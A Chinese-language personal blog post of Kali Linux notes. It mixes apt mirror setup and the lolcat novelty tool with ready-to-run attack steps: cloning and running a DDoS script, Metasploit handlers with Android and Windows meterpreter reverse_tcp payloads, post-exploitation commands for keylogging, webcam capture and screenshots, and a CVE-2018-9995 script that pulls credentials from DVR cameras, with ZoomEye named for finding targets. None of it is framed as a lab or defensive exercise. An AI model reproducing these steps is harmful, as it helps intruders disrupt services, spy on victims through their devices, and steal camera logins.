个人Kali学习笔记

官方:deb http://http.kali.org/kali kali-rolling main contrib non-free

#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free

#东软大学
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib

更新镜像源方法:
1. 编辑 vi /etc/apt/sources.list
2. 添加镜像源到文件中,保存退出
3. 执行apt-get update 更新包
4. 执行apt-get upgrade 更新依赖关系包
5. 执行apt-get dist-upgrade 分析依赖关系包进行升级
6. 执行apt-get clean 清理多余的安装包

 

wget https://www.kali.org/archive-key.asc

sudo apt-key add archive-key.asc

 

apt-get update && apt-get upgrade && apt-get dist-upgrade

apt-get clean #删除以下载的包

reboot #重新启动

xerosploit

git clone https://github.com/LionSec/xerosploit.git

cd xerosploit && sudo python install.py

DOS

git clone https://github.com/Ha3MrX/DDos-Attack
cd DDos-Attack
chmod +x ddos-attack.py
python ddos-attack.py

ezsploit

git clone https://github.com/rand0m1ze/ezsploit.git
cd ezsploit
chmod +x ezsploit.sh
use multi/handler
set payload android/meterpreter/reverse_tcp

show options
exploit

Download(upload) path 下载(上传)指定目录文件
ps 列出当前系统进程
Kill uid 消灭指定uid系统进程
keyscan_start 开始键盘记录软件
webcam_snap 拍照
截屏 screenshot

字符画

wget https://github.com/busyloop/lolcat/archive/master.zip

unzip master.zip

cd lolcat-master/bin

gem install lolcat

版本号:lolcat --version

Help:lolcat -h

管道连接:
ps | lolcat
date | lolcat
cal | lolcat

echo I ❤ Tecmint | lolcat
figlet I Love Tecmint | lolcat

apt-get figlet
yum install figlet
dnf install figlet

选项 -a 指的是 Animation(动画), -d 指的是 duration(持续时间)

payload windows

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST
set LPORT
show options
exploit

tantou

git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git

cd CVE-2018-9995_dvr_credentials

sudo pip install -r requirements.txt

python getDVR_Credentials.py --host IP --port PORT

/login.rsp

https://www.zoomeye.org/

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注